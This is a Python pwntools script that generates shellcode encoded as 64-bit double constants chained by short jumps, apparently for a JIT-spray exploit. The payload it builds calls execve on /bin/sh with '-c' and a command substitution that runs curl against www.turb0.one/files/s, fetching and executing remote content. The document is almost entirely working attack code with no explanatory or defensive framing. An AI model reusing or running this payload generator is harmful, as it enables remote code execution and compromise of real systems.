# Code written by https://www.turb0.one based on Mem2019's base work
from pwn import *


context(arch='amd64')
jmp = b'\xeb\x0c'
shell = u64(b'/bin/sh\x00')
shellarg1=u64(b'-c\x00\x00\x00\x00\x00\x00')
shellarg2_1=u64(b'$(/bin/c')
shellarg2_2=u64(b'url www.')
shellarg2_3=u64(b'turb0.on')
shellarg2_4=u64(b'e/files/')
shellarg2_5=u64(b's)\x00\x00\x00\x00\x00\x00')

global current_byte
current_byte = 0x90
global read_bytes
read_bytes = 0
def junk_byte():
    global current_byte
    global read_bytes
    current_byte = (current_byte + read_bytes + 0x17) & 0xFF
    read_bytes += 1
    return current_byte.to_bytes(1,byteorder="big")
global made
made = 0

def make_double(code):
    assert len(code) <= 6
    global made
    tojmp = 0xc
    if made > 14:
        tojmp += 3
    jmp = b'\xeb'
    tojmp += 6-len(code)
    made = made+1
    jmp += tojmp.to_bytes(1, byteorder='big')
    print( hex(u64((code+jmp).ljust(8, junk_byte())))[2:].rjust(16,'0').upper() )

make_double(asm("push %d; pop rax" % (shell >> 0x20)))
make_double(asm("push %d; pop rdx" % (shell % 0x100000000)))
make_double(asm("shl rax, 0x20; xor esi, esi"))
make_double(asm("add rax, rdx; push rax"))
make_double(asm("mov rdi, rsp;"))
make_double(asm("push rax;"))

make_double(asm("push %d; pop rax" % (shellarg1 >> 0x20)))
make_double(asm("push %d; pop rdx" % (shellarg1 % 0x100000000)))
make_double(asm("shl rax, 0x20"))
make_double(asm("add rax, rdx"))
make_double(asm("push rax"))

make_double(asm("push %d; pop rax" % (shellarg2_5 >> 0x20)))
make_double(asm("push %d; pop rdx" % (shellarg2_5 % 0x100000000)))
make_double(asm("shl rax, 0x20"))
make_double(asm("add rax, rdx"))
make_double(asm("push rax"))

make_double(asm("push %d; pop rax" % (shellarg2_4 >> 0x20)))
make_double(asm("push %d; pop rdx" % (shellarg2_4 % 0x100000000)))
make_double(asm("shl rax, 0x20"))
make_double(asm("add rax, rdx"))
make_double(asm("push rax"))

make_double(asm("push %d; pop rax" % (shellarg2_3 >> 0x20)))
make_double(asm("push %d; pop rdx" % (shellarg2_3 % 0x100000000)))
make_double(asm("shl rax, 0x20"))
make_double(asm("add rax, rdx"))
make_double(asm("push rax"))

make_double(asm("push %d; pop rax" % (shellarg2_2 >> 0x20)))
make_double(asm("push %d; pop rdx" % (shellarg2_2 % 0x100000000)))
make_double(asm("shl rax, 0x20"))
make_double(asm("add rax, rdx"))
make_double(asm("push rax"))

make_double(asm("push %d; pop rax" % (shellarg2_1 >> 0x20)))
make_double(asm("push %d; pop rdx" % (shellarg2_1 % 0x100000000)))
make_double(asm("shl rax, 0x20"))
make_double(asm("add rax, rdx"))
make_double(asm("push rax"))


make_double(asm("shl rax, 0x20;"))
make_double(asm("add rax, rdx; push rax;"))

make_double(asm("mov rax, rsp;"))
make_double(asm("push 0x0"))
make_double(asm("add rax, 8"))
make_double(asm("push rax"))
make_double(asm("add rax, 40; push rax;"))
make_double(asm("add rax, 8"))
make_double(asm("push rax"))
make_double(asm("mov rsi, rsp"))

code = asm("xor edx, edx;push 59; pop rax; syscall")
assert len(code) <= 8
print(hex(u64(code.ljust(8, b'\x90')))[2:].upper())